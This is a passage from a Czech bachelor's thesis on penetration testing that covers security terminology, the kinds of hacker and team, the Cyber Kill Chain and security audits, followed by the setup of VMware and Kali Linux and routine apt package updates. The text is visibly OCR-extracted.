utok, utok nastava az tehdy kdy hrozba vyuZije zranitelnosti. Lze si predstavit zlodéje (hrozba),
oteviené okno (zranitelnost) a pokud zlodéj vleze do otevieného okna je vyuZita zranitelnost
hrozbou a z udalosti se stava incident. Exploit by byla konkrétni technika vyuziti zranitelnosti
(oknem) hrozbou (zlodéjem), technika jako lezeni po Zebtiku, skok do okna a podobné.

Hrozby Ize délit na hrozby vnitini (hrozba pfichazi zevnitt organizace a jedna se o sabotaz)
a vnéjsi (hrozba pfichazi zvenku, mimo organizaci a zde se jedna se o hacking). Hrozby Ize také
délit na zakladé dopadu na plsobeni organizace na aktivni (dochdazi ke zméné stavu systému
a je narusena integrita dat, pripadné dostupnost sluzeb ¢i jiné) a pasivni (nedochazi ke zméné
stavu systému ani integrity dat ¢i dostupnosti sluzeb a podobné ale dochazi napftiklad k uniku
informaci) (Microsoft Copilot: vas Al pomocnik, 2025).

Hrozba je pftic¢inou bezpeénostni udalosti neboli bezpecnostniho incidentu. Pokud dochazi
k uskutecnéni hrozby a zneufZiti zranitelnosti, jedna se o bezpecnostni udalost. Pokud zminéna
udalost narusi dostupnost sluzeb, d(véryhodnost organizace ¢i jeji data jedna se
o bezpecnostni incident. Bezpecnostni incident ma zdroven i dopad na fungovdni napadené
organizace, napfiklad dopad financni, ztrata vérohodnosti ¢i podobné a fadi se mezi aktivni
hrozby (Microsoft Copilot: vas Al pomocnik, 2025).

Pokud existuje urcita hrozba schopna zpUsobit skodu, predstavuje kybernetické riziko. Riziko je
risk, Ze bude hrozba wvyuZita. Rizika by méla byt dOkladné zanalyzovana
a zaroven by mélo byt rozhodnuto o zplsobu jeho zvladani pomoci bezpeénostnich opatfeni.
Snaha zavést bezpecnostni opatfeni je nejlepsim zplsobem prevence jak se vyhnout ¢i Uplné
zamezit rizika vyuzZiti hrozby utoénikem.

1.7.6 Utoénici

K tématu je zapotrebi uvést, ze pojem hacker je sice spolecnosti zazité pro pocitacového
Clovéka provadéjici kybernetické utoky avsak zcela zcestné. Slovo hacker vzniklo v letech
v 60. - 70. letech na univerzité MIT v USA a pojem oznacoval programatora, ktery tvori
programy, sepisuje kédy a nema nic spolecného s kybernetickymi utoky. Oproti tomu pojem
cracker bylo oznaceni pro ¢lovéka, ktery se neustdle zkousel nabourat do systému, obchazet
bezpeénostni opatfeni a provadét Skodlivé atoky. Hacker tvofi, cracker ni¢i. V soucasném
nasem slovniku je rovnéz zaZito fikat cracknout hru &i cracknout program. Slovo crack se vzilo
pro upraveny binarni soubory schopny zpfistupnit software. Vyznam slov média naprosto
prekroutila a protoZe slovo hacker je nejspiSe vice atraktivni, v medidlnim prostoru slovo
hacker zvitézilo (Microsoft Copilot: vas Al pomocnik, 2025).

V soucasné dobé je slovo hacker oznaceni pro pocitatového experta schopného vstoupit
do systému i bez potfebnych pristupovych opravnéni Ccili provést kyberneticky utok.
Kyberneticky utok je jakykoli druh Skodlivé Cinnosti, ktery se pokousi shromazdovat, narusovat,
popirat, degradovat nebo znicit prostredky informacéniho systému nebo samotné informace.
Svou podstatou je kyberneticky utok naplnénim konkrétni hrozby vyuzivajici konkrétni
zranitelnost systému. Kyberneticky Utok provadény hackery (kyberzlocinci) se oznacuje jako
hacking neboli ¢esky hackovani. VétSinou se jedna o Skodlivy kyberneticky Utok posSkozujici
systém ¢i podobné, coz ale neni podminkou. Néktefi hackefi pfi prliniku do systému odhaleni
zranitelnosti nahlasi nebo tak jednaji se souhlasem majitele systému. Ze zmineného divodu se
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hackefi rozdéluji do nékolika kategorii podle jejich cild (Hackefi — proti komu se branime?,

2021):

White Hat hacker — neboli také eticky hacker. Eticky hacker je protiklad Black Hat
hackera. Jeho cilem je se také dostat do systému a pouzit pfitom naprosto stejné
nastroje ¢i techniky. Rozdil vSak spociva v tom, Ze White Hat hacker testuje systém
pouze se svolenim organizace, kterda mu dala svoleni sv(j systém provéfit. Firmy
si takto testuji bezpecnost svych systém( a jedna se o penetracni testovani. Pokud se
etickému hackerovi pfi penetra¢nim testovani podafi pres néjakou zranitelnost dostat
do systému, Zadnou skodu nezpUsobi. Naopak vystupem jeho prace je report
o zranitelnostech a jak je odstranit. Po odstranéni zranitelnosti systém eticky hacker
opét provéri, zda je v porddku. White Hat hackefi neboli eticky hackefi jsou soucasti
firem, které si najimaji organizace za Ucelem provéreni své kybernetické bezpecénosti
(Hackefi — proti komu se branime?, 2021),

Black Hat hacker — je opakem White Hat hackera. Cilem Black Hat hackera je objevit
slabiny systému bez védomi organizace ¢i majitele systému za ucelem neoprdavnéného
pfistupu i jeho poskozeni. Jeho jedinym cilem je systém poskodit ¢i ho zneuzit pro
vlastni obohaceni. O nalezené slabiné okamzité informuje ostatni hackery. Jedna se
o nelegélni cinnost. Jako priklad poskozeni muiZe byt kradeZz penéz z Uctu,
nainstalovany program pro sledovani webkamery, Sifrovani dat a podobné (Hackefi —
proti komu se branime?, 2021),

Gray Hat hacker — Gray Hat hacker je kombinaci obou pfedchozich typ@ hackerd. Casto
se ovsem do zminované kategorie fadi hackefi s nejasnymi Umysly. Pokud nékdo objevi
slabinu v systému a zneutzije ji bez védomi jeho majitele ale zaroven nezpuUsobi zadné
Skody a zranitelnost nahlasi, pak jeho Umysly nejsou jednoznacné. MlzZe se jednat
o utocnika, ktery se nabourd do systému jen, aby zvysil povédomi o jeho slabinach. Na
druhou stranu se muazZe chovat jako White Hat hacker hacker, ale jeho Uumysly jsou
neetické. | kdyby jeho Umysly byli Cisté etické, bez souhlasu majitele systému se stale
jednd o nelegdlni ¢innost (Hackefi — proti komu se branime?, 2021).

Pojem Hat hacker vzniklo z westernovych Hollywoodskych film(, kde byla zaZita konvence pro

kovboje hrdiny nesouci bilé klobouky a kovboje padouchy nesouci ¢erné klobouky. V nékterych

pfipadech oviem nelze hackera podle vyse uvedenych kategorii jednoznacné urcit, kazdy

sleduje své cile. V odborné literature existuji pro doplnéni i dalsi druhy hacker( (Hacker, 2025):

1.7.7

Blue Hat hacker - podobné jako White Hat hacker avsak spise konzultant,
Red Hat hacker - zaméreni na boj proti Black Hat hackertim,
Green Hat hacker — naprosty novacek.

Skupiny utocniku

Postupem ¢asu vznikli i hackerské skupiny. Tym hacker( je pfece jen mnohem casté&jsim jevem

neZ jeden samotny hacker. Osamoceny hacker je v soucasné dobé velkou vzacnosti v oblasti

velkych kybernetickych utokd. Skupiny spojuji rizné dovednosti (jeden je expert na sité, druhy

na socialni inZenyrstvi, tfeti na Sifrovdni a podobné), zajem o penize, navzajem se chrani, maji

spolecné cile a jiné. Ve svété internetu je rovnéz zajimavé, Ze ackoliv jsou ¢lenové skupiny

spolu v uzkém kontaktu a jeji ¢lenové jsou rozesety vsude po svété, oslovuji se mezi sebou
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vyhradné pouze prezdivkami a navzajem se vibec neznaji. Jednaji tak i pro své vlastni dobro,
kdyby nékoho z nich vyslychali tak skutecné neznaji druhého.

Pro ucely penetracniho testovani se také vytvofili skupiny, vétSinou se vsak jednd o obrance
a utocniky. Kazdy ¢len tymu se opét specializuje na svoji jedine¢nou dovednost. | v realném
svété je vice neZ pravdépodobné, Ze Utocit bude skupina hackerd, neZ jeden hacker a proti nim
bude také stat skupina profesiondld. K tomu se i vytvofili podminky v oboru penetracniho
testovani a vytvorili se tymy (Microsoft Copilot: vas Al pomocnik, 2025):

e Red Team - simuluji utok, jedna se o skupinu penetracnich tester(, ktefi se chovaiji
jako Black Hat hackefi. Jejich cilem je proniknout do systému zadavatele a vynést data,
zasSifrovat data, obchazet zabezpeceni, objevovat oteviené porty a spousty jinych
zaskodnickych ¢&innosti. Jejich jedinym uUkolem je za pomoci vSech dostupnych
prostfedkll co nejvice poskodit cil a provérit obranu. Cilem je dokazat jak by se skupina
profesionalnich Gtoc¢nikl dostala do systému a provéfit stav ochrany organizace. Jedna
se o realistickou simulaci skute¢ného protivnika. Za pfiklady typické pro utok Red Team
jsou phishing, socidlni inZenyrstvi, Utoky na wi-fi a jiné (Penetracni testovani, 2025),

e Blue Team - simuluji obranu, opét se jednd o profesiondlni bezpecnostni tym
penetracnich testerl s cilem zabranit Utoku a ochrdnit tak maximalné napadenou
organizaci. Nutno podotknout, Ze jejich obrana je nepfetrzita, neni jasné kdy Red Team
zautodi. V tomto testu muZe Utok pfijit kdykoliv a Blue Team chrani organizaci kazdy
den. Schvalné jsou takto testy pripraveny, aby co se nejvice podobali realité a Utok byl
necekany. Ukolem Blue Teamu je monitoring sit&, portd, aktivit v siti, detekovat Gtoky
a reagovat na incidenty. Za pomoci vSech nastrojli se snaZi zastavit Red Team,
vylepSovat zabezpecleni, vySetfovat incidenty a zpeviovat obranu zaroven i proti
ostatnim skutecnym kybernetickym uUtokdm. K dispozici ma spravu systému SIEM
(Security Information and Event Management), analyzu logl ale muiZe i Skolit
zaméstnance (Microsoft Copilot: vas Al pomocnik, 2025),

e Purple team — je opét kombinaci Red a Blue Team. Cilem Purple Team je snaha ucit se
jeden od druhého, rychleji vylepsovat bezpecnost, vylepSovat spolupraci obou tymd,
sdilet informace o vylepsit jak obranu tak utok. Dalsi cile Purple Team je zajisténi
komunikace mezi obéma tymy a provadéni pravidelného skoleni mezi obéma tymy.
Red Team i Blue Team jsou svymi moZnostmi limitovani, Purple tym je spojuje
do jednoho celku a zajistuje zlepseni obou tyma. Purple tym je jakysi prostfednik mezi
obéma tymy a jedna se spiSe o metodologii neZ skutecny tym. Coz je virtudlni tym
sloZzeny ze c¢lenl Red a Blue Team (Microsoft Copilot: vas Al pomocnik, 2025).

Dals$i mozné znamé tymy v oblasti penetracniho testovani jsou (Microsoft Copilot: vas Al
pomocnik, 2025):

e Green Team — zaméfuje se na vyuku a trénink ostatnich tymd,
o Yellow Team — zamértuje se vyvoj a DevOps, také integruje bezpecny kéd do vyvoje.

Dalsi znamé hackerské skupiny, které jsou spojovany s kybernetickymi Gtoky, objevuji se
v mediich avSak netykaji se etického penetracniho testovani jsou pro doplnéni:

e Script Kiddies — jednad se spiSe o motivované novacky, ktefi vyuzivaji skripty a nastroje
vytvorené skuteénymi hackery k provedeni Gtokl. Ackoliv nejsou svymi schopnostmi
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nijak vyjimecény mohou zpUsobit znac¢né Skody a jsou Casto kritizovani za nedostatek
respektu a etického chovani (Microsoft Copilot: vas Al pomocnik, 2025),

e Hacktivisté — hackerska skupina, kterd pouziva své dovednosti k prosazovani zejména
politickych a socidlnich cil(. Bojuji za zodpovédnost vlad, korporaci, za lidska prava
a zivotni prostredi. | kdyZz maji uslechtilé cile a myslenky, stdle tak jednaji v rozporu se
zakonem. Specializuji se na zvefejiiovani citlivych informaci (Hacker, 2025).

e APT skupiny (Advanced Persistent Threat) — skutecni profesionalové vétsSinou najati
vladami k prosazeni vladnich zajmd s nejmodernéjsim vybavenim. Plsobi ve sluzbach
armad, zpravodajskych sluZzeb nebo vladnich agentur. PouZivaji mimoradné
nebezpecné malware i exploity a jejich Gtoky jsou zdrcujici. Jsou Spickové organizovani
a cili na vladni sité, energetiku, obranny prlmysl, zdravotnictvi nebo vyzkum
(Microsoft Copilot: vas Al pomocnik, 2025).

K uéinné obrané pred vyuZitim slabin hackerskymi Utoky existuje par vSseobecnych tipl jako
pouzivat silnd hesla, aktualizovat software, pouZivat antivirovy software, chranit wi-fi sité
dostatec¢né silnym heslem a Sifrovanim, davat si pozor na emaily a odkazy, pouZivat
dvoufaktorové ovéreni a tak dale (Hacker, 2025). Dale je moZné se rovnéz setkat s pojmem
vektor utoku. Vektorem Utoku se oznacuje zpUsob, jakym je utok veden. Jednda se o zplsob
Utoku, jakym dochazi ke zneuziti zranitelnosti. V Ceské republice se sledovanim hackerskych
aktivit a ochranou proti nim zabyvd NUKIB (Ndrodni Gfad pro kybernetickou a informaéni
bezpecnost).

1.7.8 Cyber Kill Chain

Cyber Kill Chain (CKC) popisuje faze kybernetického utoku, kterymi musi utocnik béhem Utoku
projit. V podstaté slouzi k tomu, aby obranci pochopili jak Gtocnici postupuji a mohli je zastavit
v jednotlivych fazich dtoku. Model prakticky dokazal, Ze utok neni jednordzova akce, ale
fetézec krokd, které Ize narusit. Model Cyber Kill Chain byl plvodné vyvinut kolem roku 2011
soukromou firmou Lockheed Martin jako interni bezpecnostni rdmec. Lockheed Martin
je znamy dodavatel amerického ministerstva obrany. Pojem Kill Chain je pojem z vojenské
terminologie a popisuje kroky vedouci k neutralizaci cile. Jednotlivé kroky Cyber Kill Chain jsou:

e Reconnaissance (prtizkum) — Gtoc¢nik zkouma a sbira informace o cili,
e Weaponization (ozbrojeni) — Gtocnik vytvati Skodlivy nastroj, payload (exploit),
e Delivery (doruceni) — preneseni nastroje, payloadu (exploitu) do cilového prostifedi
pomoci emaill, webovych stranek nebo USB flash disku,
e Exploitation (zneuziti) — po doruceni payloadu na zafizeni obéti je spustén exploit
a nasleduje zneuZiti zranitelnosti systému ¢i uZivatele,
e Installation (instalace) — instalace skodlivého kédu nebo zadnich vratek s cilem
zajisténi trvalého pfistupu k zafizeni obéti,
e Command and control (C2) (Veleni a Fizeni) — uatoénik navaze komunikaci
s napadenym hostitelem pres néktery z C2 serverd,
e Actions on objectives (Akce na cile): — utocnik data krade, Sifruje nebo provadi
Spionaz.
Teprve po Uspésném prichodu prvnich Sesti fazi mdze utoc¢nik podniknout kroky k dosazeni
svych cil(. Jednotlivé kroky na sebe navazuji, aby mohl byt proveden nasledujici krok musi byt
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predchozi krok splnén. Staci jediné Uspésné protiopatieni u konkrétni faze a cely fetézec
se zhrouti. Model Cyber Kill Chain slouzi jako voditko pfi analyze Utoku (Microsoft Copilot: vas
Al pomocnik, 2025).

OODA loop je model strategie, ktery byl také pivodné vytvoren pro vojenské Gcely. Jedna se
o uzavienou smycku krokd Observe (pozorovani), Orient (orientace), Decide (rozhodnuti) a Act
(akce). Principem je, Ze smycka musi byt narusena obranci dfive, neZ se smycku podafi
dokoncit utocnikovi (Microsoft Copilot: vas Al pomocnik, 2025).

1.7.9 Bezpec€nostni audit

Bezpecnostni audit je typicky pro organizace podléhajici regulacim, normam
¢i certifikacim. Penetracni testovani je nedilnou soucasti bezpeénostniho auditu. Bezpecnostni
audit je mnohem SirSi proces vedouci je zjisténi redlného a hlavné komplexniho stavu
bezpecnosti podniku. Proto se zde v kratkosti vysvétli pojem bezpecnostni audit pro Uplnost.

Bezpecénostniho audit je systematické a komplexni hodnoceni vSech bezpecnostnich opatfeni
a postupl organizace. Cilem bezpecnostniho auditu je posoudit stav bezpecnosti organizace,
identifikovat zranitelnosti, odhalit slaba mista i rizika a doporucit kroky vedouci ke zvySeni
ochrany. MlZe se zaméfrit nejen na kybernetickou (IT infrastruktura, zabezpeceni software, siti,
datovych uloZist a podobné) a fyzickou bezpecnost (budovy, prostory, kamery, fyzickou
ostrahu ¢i ochranu proti neopravnénému vstupu) ale také i na organizacni zabezpeceni
(bezpecnostni provérky, politiky, Skoleni, smérnice a jiné). Zabyva se kontrolou vSech operaci
organizace tak, aby byla zajisténa ochrana dat, majetku a osob. Vysledkem bezpecnostniho
auditu je zhodnoceni aktudlni bezpecnosti organizace, doporuceni vedouci k minimalizaci rizik,
doporuceni pro zvyseni bezpecnosti, Skoleni a doporuceni pro zvyseni odolnosti v pfipadé
krizovych situaci ¢i bezpecnostnich incidentl. Bezpecnostni audit je skutecné velice komplexni
proces vedouci k ziskani prehledu o bezpecnosti organizace. Mezi jednim z mnoha oborl
bezpecnostniho auditu patti kybernetickd bezpecnost a penetracni testovani predstavuje jeho
praktickou ¢ast (Microsoft Copilot: vas Al pomocnik, 2025).

| ve svéte bezpecnostnich auditli existuji profesionalni firmy zabyvajici se jeho vykonanim.
Pravidelné provadéni bezpecnostniho auditu i penetracnich testl je dulezité zejména
k sou¢asnému technologickému vyvoji. Je tak soucasné dulleZitou prevenci chranici nejen data,
zaméstnance a majetek spolecnosti.
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2 Prakticka c¢ast

Prakticka c¢ast bakalarské prace se bude zabyvat testovanim zminovanych nastroji Kali Linux
v praktické roviné a na konkrétnich prikladech. Budou zde popsany moznosti vyuziti
jednotlivych technik penetracniho testovani, pribéhy testd budou popsany a vysledky
zdokumentovany.

2.1 Priprava testovaciho prostredi

Pro testovani je moZné pouZit tfi rlzna konkurenéni virtualni prostredi, VMware Workstation,
Oracle VirtualBox a Hyper-V. Hyper-V je dostupné ve vSech verzich operacnich systém
Windows 8 a novéjsich, vyjimku tvofi pouze Home edice Windows. Sice ma nejlepsi vykon a je
stabilnéjsi nez konkurencni virtualni prostredi, je vSak vhodnéjsi spiSe pro produkty od firmy
Microsoft a neni vhodny pro linuxové desktopy. Aktivuje se v ovladacich panelech, programy
a zde zapnout nebo vypnout funkce systému Windows. VirtualBox od firmy Oracle ma sice
slabsi vykon, cili vSak na uZivatele svoji jednoduchosti a lze jej vyuzit univerzalné jak pro OS
Windows, tak i pro linuxovou virtualizaci. VirtualBox je zdarma a open-source (Microsoft
Copilot: vas Al pomocnik, 2025).

2.1.1 VMware Workstation 17 Pro 17.6.4

Pro testovani bylo pouZito virtualni prostfedi VMware Workstation 17 Pro 17.6.4. DivodU pro
vybér tohoto virtudlniho prostredi je hned nékolik. Mimo jeho naprosté jednoduchosti
a kompatibilitou s linuxovymi systémy a také zejména moZnost snimat obrazovku ¢ili vytvaret
screenshoty efektivnéji nez v konkurenénim virtudlnim prostredi VirtualBox od firmy Oracle.
RovnéZ i instalace doplrkd, nastroji a ovladacu, které je nutné ve VirtualBox instalovat pomoci
ISO souboru VBoxGuestAdditions.iso, pro lepsi béh virtudlnich systéma ve virtualnim prostiedi
a kvalitni pofizovani screenshotl, lze ve VMware stahnout pohodiné pomoci prikazu
v termindlu (ve VirtualBoxu lze samoziejmé také stahnout doplfiky pomoci pfikazu v terminalu,
ale vysledek neni plnohodnotny, neobsahuje nejnovéjsi ovladace, chybi funkce drag and drop
a jiné). Moderni linuxové distribuce jako jsou Kali Linux, Fedora, RHEL ¢i Debian pouZivaji
moderni jadro Linuxu (Kernel), které je se starSimi VMware Tools nekompatibilni. VMware
k modernim linuxovym systémUm jiz nepfibaluje klasické VMware Tools, proto vyskakuje
hlaseni, Ze obraz VMware tools neexistuje a nabizi ke stazeni ISO soubor linux.iso. Z divodu
modernich linuxovych distribuci VMware presel na princip open-vm-tools, balicky open-vm-
tools jsou uloZeny pfimo v repozitafich a nestahuje ani neinstaluje se tak ISO soubor linux.iso,
jako tomu bylo dfive. Dalsi obrovsky divod pro vybér VMware Workstation je jeho Pro verze,
ktera byla po mnoho let placend a od roku 2024 je zdarma pro osobni i komer¢ni pouZiti.
Zdarma byla dfive po celou dobu pouze verze VMware Workstation Player pro nekomeréni
pouziti. Jednd se pomérné o Cerstvou novinku, kterda souvisi s prevzetim VMware firmou
Broadcom, okamzité ukoncila prodej licenci pro Pro verzi a placena zlstala pouze podpora. Pro
firmu Broadcom jiZz nejsou desktopové virtualizaéni ndstroje typu Workstation a Fusion
strategicky dlleZité a negeneruji tak velky zisk jako velké firemni produkty VMware. Firma
zrusila staré licenéni modely a nyni se orientuje na cloudové a datacentrové platformy
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(Microsoft Copilot: vas Al pomocnik, 2025). Oproti tomu open-source projekt VirtualBox byl
vzdy zdarma. Posledni verzi VMware Workstation 17 Pro 17.6.4, ktera byla pouzita v praktické
Casti  bakalarské  prace, je moiné stdhnout z mnoha  zdroji  (Index
vmwareworkstationarchive/17.x/, 2026; VMware Workstation Pro, 2026).

luke® kali)-[~
$ install open-vm-tools open-vm-tools-desktop
open-vm-tools is already the newest version (2:13.0.10-1).
open-vm-tools-desktop is already the newest version (2:13.0.10-1).
Summary:
Upgrading: @, Installing: @, Removing: @, Not Upgrading: ©
Obr. 8: Pfikaz open-vm-tools
Zdroj: Vlastni zpracovani (2026)

2.1.2 Kali Linux 2025.4 installer amd64

Pro testovaci Ucely byla stazena posledni ¢tvrtletni rolling-release verze linuxové distribuce Kali
Linux z roku 2025. Jedna se o plny instalacni ISO obraz o velikosti 4,40 GB, vhodny také k offline
instalaci, se vSemi dostupnymi nastroji a aktualizacemi. Stazeny ISO obraz se poté nainstaluje
ve virtualnim prostredi. Ke stazeni je k dispozici na strdnkach projektu Kali Linux. Nutno
podotknout, Ze mimo instalator, se kterym bude bakalafska prace pracovat, je mozné stahnout
i 1ISO obrazy jiné architektury, netinstalatory, live obrazy nebo pfimo predpripravené obrazy do
virtudlnich prostfedi a dalSi. Dostupné mozZnosti stazeni distribuce Kali Linux jsou uvedeny na
webovych strankdch projektu Kali Linux (Kali Linux | Penetration Testing and Ethical Hacking
Linux Distribution, 2025).

2.1.3 Instalace VMware Workstation 17 Pro 17.6.4

Instalace VMware Workstation 17 Pro 17.6.4 je velice intuitivni a neni potfeba jej rozepisovat.
Samoziejmé je lepsi jej instalovat se vSemi nastroji a dopliky, které instalace nabizi. Po
dokonceni instalace se objevi v pravém dolnim rohu nova tray ikona.

2.1.4 Instalace Kali Linux 2025.4 installer amd64

Postup instalace ISO obrazu ve virtualnim prostiedi VMware je pro zkuseného clovéka opét
velice intuitivni. Po spusténi VMware Workstation 17 Pro se klikne na Create a New Virtual
Machine a zvoli se vlastni pokrocila instalace (lepsi moznost, umoznuje vlastni nastaveni) Cili
Type of Configuration Custom (advanced). Déle pak po jednotlivych krocich:

e Hardware compatibility Workstation 17.5 or later,

e Installer disc image file (iso): kali-linux-2025.4-installer-amd64,

e Select a guest operating system: Linux Debian 12.x 64-bit,

e Virtual machine name: KaliLinux-2025.4, Location: C:\Virtual\KaliLinux-2025.4-x86_64-
iso,

e Processors, Number of processors: 2, Number of cores per processors: 2, Total
processor cores: 4,

e Memory of virtual machine: 8192MB,
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o Network Type: Use network address translation (NAT) (host’s IP address),

e Select /0 Controller Types: SCSI Controller: LS| Logic (recommended),

e Select a Disk Type: Virtual disk type: SCSI (recommended),

e Select a Disk: Create a new virtual disk,

e Specify Disk Capacity: Maximum disk size (GB): 35GB, Not Allocate all disk space now,
Split virtual disk into multiple files,

e Specify Disk File: Disk File: KaliLinux-2025.4.vmdk,

e Ready to Create Virtual Machine: Check Hardware Configuration.

Takto byla zvolena konfigurace pro testovaci Ucely bakalafské prace, vzhledem k dostupnym
zdrojim bylo zvoleno dostatecné mnozstvi celkového poctu jader procesoru, radéji vice paméti
a optimalni velikost disku kvuli aktualizacim. Ostatni kroky instalace jsou typické pro virtudlni
prostredi.

2.1.5 Boot menu Kali Linux

Po dokonceni instalace ISO obrazu Kali Linux v prostfedi VMware Workstation je nutné
instalovat samotny Kali Linux, v jiz existujicim virtudlnim obrazu. Po spusténi VMware
Workstation se objevi na levé strané novd zdlozka KaliLinux-2025.4. V zdloZce je moznost
Power on this virtual machine, ktera umozni instalovat zminény systém. MoZnost Edit virtual
machine settings umoZniuje upravit nastaveni virtuadlniho systému. Po kliknuti na moZnost
Power on this virtual machine se spusti boot menu instaldtoru neboli zdkladni nabidka
moznosti instalace distribuce Kali Linux. MoZnosti instalace jsou nasledujici:

e Graphical install — klasicky graficky privodce instalace s mysi,

e Install - privodce instalace v textovém prostredi bez pouZiti mysi, pouze klavesnici,

e Advanced options - pokrocilé mozZnosti pro spusténi systému i instalaci (expert install,
rescue mode, automated install, opét mozné v textovém Ci v grafickém prostredi,
¢i s hlasovym prlivodcem (speech),

e Accessible dark contrast installer menu - instalace v ¢erném pozadi,

e Install with speech synthesis - instalace s hlasovym privodcem.

Nejvice vhodna instalace je hned prvni moZnost Graphical install. Graficka instalace Kali Linux
je naprosto shodnd s grafickou instalaci linuxové distribuce Debian. Kali Linux je odvozeny
derivat Debianu.

2.1.6 Graficka instalace Kali Linux
Zde je popsana graficka instalace Kali Linux, nahrana z boot menu, v par krocich:

e Select a language: English,

e Select your location: other; Europe; Czechia,

e Configure locales: United States,

e Configure the keyboard: American English,

e Configure the network: Hostname: kali; Domain name: localdomain,

e Set up users and passwords: Full name for the new user: Luke; Username for your
account: luke; Choose a password for the new user: -; Re-enter password to verify: -,

e Partition disks: Partitioning method: Guided - use entire disk,
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e Partition disks: Select disk to partition: SCSI4,

e Partition disks: Partition scheme: Separate /home partition Partition,

e Partition disks: RAID: No; LVM: No; Configure encrypted volumes: No; Configure iSCSI
Volumes: Nothing; Select Finish partitioning and write changes to disk,

e Partition disks: Write the changes to disks: Yes,

e Software selection: Choose software to install: Select Desktop environment; Xfce;
Collection of tools; top10; default,

e |nstall the GRUB boot Loader: Install the GRUB boot loader to your primary drive: Yes,

e Install the GRUB boot Loader: Device for boot loader installation: /dev/sda,

e Finish the installation,

e Rebooting system and launching Kali.

Jeden z obtiznéjsich krok(l pro zacatecnika se mlzZe jevit Cast instalace tykajici se rozdéleni
diskd (partition disks). Pokud si zacatecnik neni jisty, miZe zvolit moZnost nerozdélovat disk.
Vse tak bude na jednom disku s vyjimkou swap oddilu, ktery se vSak rozdéli automaticky.
Automaticky u novéjsich linuxovych systémdi, u starsSich stale plati, Ze jej musime rozdélit
manualné. Swap oddil je samostatna ¢ast disku nahrazujici pamét, kdyz uz nestaci klasicka
RAM pamét. VyuZiva jej pouze systém, neukladaji se do né&j soubory, umoZiiuje hibernaci
(ulozeni obsahu RAM na disk) a zajistuje stabilnéjsi chod systému pfFi velké zatézi. Ve Windows
existuje podobny, ale jiny mechanismus pagefile, soubor, ktery se dynamicky zvétSuje
¢i zmensuje a neni na samostatném oddilu disku. Zde byl disk rozdélen na tfi ¢asti, kromé
korfenového (systémového) adresare a automaticky vytvoreného swap oddilu, byl samostatné
rozdélen i domovsky adresdf home. Adresdf home proto, Ze zde slouZi jako uloZisté pro
soubory uZivatele, které se zde budou ukladat. Pfi poskozeni kofenového adresare zlistane tak
adresaf home neposkozeny pravé z dlvodu umisténi na jiném disku. Data na home tak
zUstanou neposkozend. | jiné adresare obvykle jsou rozdéleny na vlastnim oddilu disku,
adresare jako /boot, /var, /srv, /usr a jiné. Déje se tak z divodu stability, bezpedi a spravy
systému (Microsoft Copilot: vas Al pomocnik, 2025).
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Partition disks

This is an overview of your currently configured partitions and mount points. Select a partition to modify its settings (file
system, mount point, etc.), a free space to create partitions, or a device to initialize its partition table.

Guided partitioning
Configure software RAID
Configure the Logical Volume Manager

Configure encrypted volumes

Configure iSC51 volumes

=< SCSI33 (0,0,0) (sda) - 37.6 GB VMware, VMware Virtual S

= #1 primary 31.3GB f extd4 f
= #5 logical 4.0 GB f swap swap
= #6 logical 2.2GB f extd fhome

Undo changes to partitions

Finish partitioning and write changes to disk

Screenshot | | Help Go Back | [ Continue

Obr. 9: Ukazka rozdéleni disk( pfi instalaci
Zdroj: Vlastni zpracovani (2026)

2.1.7 Aktualizace instalace Kali Linux

Z divodu aktudlnosti systému a aktualizaci seznamu dostupnych balick( je nutné provadét
pravidelné aktualizace. Systém pozna, které programy maji nové verze a bezpecnostni opravy.
Po aktualizacich bude systém bezpecnéjsi a verze program( aktualni. Pro demonstrativni Gcely
byla staZena a instalovdna verze Kali Linux 2025.4 a nyni bude povySena na verzi Kali Linux
2026.1. Prikazem apt update se ziska prehled o obnové seznamu dostupnych balick(, systém
tak pozna, které balicky maji nové verze:

luke® kali)-[~]
$ sudo apt update
[sudo] password for luke:
Hit:1 http://http.kali.org/kali kali-rolling InRelease
1730 packages can be upgraded. Run 'apt list --upgradable' to see them.

Obr. 10: Pfikaz apt update
Zdroj: Vlastni zpracovdni (2026)

Z hlaseni vyplyva, Ze pfikaz apt update nalezl 1730 novych balick(, které je vhodné upgradovat
pfikazem apt full-upgrade. Pfikaz nainstaluje vSechny dostupné aktualizace a zaroven mize
ménit i zavislosti, mUZe tak odstrariovat nebo nahrazovat balicky. Alternativou je pfikaz apt
upgrade, ktery vsak aktualizuje pouze to, co lze bez odstranéni balickd. Apt full-upgrade
aktualizuje vSechno, i kdyZ se musi néco odstranit:
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-(lukeS kali)-[~
$ = > apt full-upgrade
The following packages were automatically installed and are no longer required:
curlftpfs libcrypt-dev libmplex2-2.1-0t64
libann@ libdlt2 libmupdf25.1
libaudio2 libfuse2tb4 libplacebo351

Use 'sudo apt autoremove' to remove them.

Upgrading:

Suggested packages:

clang-21-doc libcudal libnvidia-encodel debian-kernel-handbook
wasi-libc libnvcuvidl libxml-sax-expatxs-perl linux-doc-6.18
REMOVING:

libblosc2-4 1libgusb2? 1libgvec6 libnodell5 mesa-va-drivers mesa-vdpau-drive

Summary:
Upgrading: 1730, Installing: 82, Removing: 7, Not Upgrading: @
Download size: 3,155 MB
Space needed: 1,700 MB / 13.5 GB available

Obr. 11: Pfikaz apt full-upgrade
Zdroj: Vlastni zpracovdni (2026)

Po nainstalovani vsech balickl je systém aktualni. Pfikazem apt autoremove je mozné smazat
staré, jiz nepotrebné a neaktudlni balicky ze systému:

-(luke® kali)-[~
$ sudo apt autoremove

[sudo] password for luke:

REMOVING:
curlftpfs libcrypt-dev libmplex2-2.1-0t64
libann@ libdlt2 libmupdf25.1
Libaudio2 Libfuse2tb4 Libplacebo351
libavfilterl® libgavil-1 libpocketsphinx3
libavformat6l libgdk-pixbuf2.@®-bin libpostprocSs
libecdt5s liblab-gamutl librubberband?
libcgraphbt lLibmjpegutils-2.1-0t64 Llibsframe2

libconfig-inifiles-perl libmpeg2encpp-2.1-0t64 Llibsimdutf27

Summary :
Upgrading: ©, Installing: ®, Removing: 36, Not Upgrading: ©
Freed space: 155 MB

Obr. 12: Pfikaz apt autoremove
Zdroj: Vlastni zpracovadni (2026)

Potvrzenim se vymaZou staré nepotfebné balicky a uvolni se tak misto na disku. DalSim
pfikazem apt clean je moZné vymazat stazené instalacni balicky z cache docasné paméti
systému pro uvolnéni mista na disku:

—(luke® kali)-[~]
-_$ _____ apt Clean

Obr. 13: Prikaz apt clean
Zdroj: Vlastni zpracovdni (2026)

Pfikazem apt clean se vymaZzou stazené instalacni balicky z do¢asné paméti systému. Prepinac
